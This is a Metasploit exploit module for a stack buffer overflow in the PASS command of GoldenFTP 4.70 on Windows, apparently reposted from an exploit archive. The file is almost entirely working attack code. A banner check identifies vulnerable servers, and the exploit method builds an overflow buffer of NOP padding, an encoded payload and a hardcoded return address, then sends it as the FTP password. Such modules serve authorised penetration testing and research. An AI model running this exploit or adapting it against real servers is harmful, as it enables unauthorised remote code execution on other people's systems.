GoldenFTP 4.70 PASS Stack Buffer Overflow

##
# $Id: goldenftp_pass_bof.rb 12812 2011-06-02 01:10:22Z bannedit $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking
 
    include Msf::Exploit::Remote::Ftp
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'GoldenFTP PASS Stack Buffer Overflow',
            'Description'    => %q{
                    This module exploits a vulnerability in the Golden
                FTP service. This module uses the PASS command to trigger the overflow.
            },
            'Author'         => [ 'bannedit' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 12812 $',
            'References'     =>
                [
                    [ 'BID', '45957 '],
                    [ 'URL', 'http://www.exploit-db.com/exploits/16036/'],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'seh',
                },
            'Privileged'     => false,
            'Payload'        =>
                {
                    'Space'    => 350,
                    'BadChars' => "\x00\x0a\x0d",
                },
            'Platform'       => ['win'],
            'Targets'        =>
                [
                    [
                        'Golden FTP 4.70 Universal', # Tested OK - bannedit 05/31/2011
                        {
                            'Platform' => 'win',
                            'Ret'      => 0x00a93ca6,
                        },
                    ]
 
                ],
            'DisclosureDate' => 'Jan 23 2011'))
    end
     
    def check
        connect
        disconnect
        print_status("FTP Banner: #{banner}".strip)
        if banner =~ /Golden FTP Server ready v(4\.\d{2})/ and $1 == "4.70"
            return Exploit::CheckCode::Appears
        else
            return Exploit::CheckCode::Safe
        end
    end
 
    def exploit
        if datastore['RHOST'].length < 15
            pad = make_nops(1) * (15 - datastore['RHOST'].length)
        end
         
        sploit = make_nops(4) * 38
        sploit << payload.encoded
        sploit << pad
        sploit << make_nops(1) * (528 - sploit.length)
        sploit << [target.ret].pack('V')
 
        print_status("Connecting to #{datastore['RHOST']}:#{datastore['RPORT']}")
        begin
            connect
            send_user("anonymous")
            send_cmd(['PASS', sploit], false)
            handler
        rescue EOFError
        end
    end
end



#  0day.today [2018-04-11]  #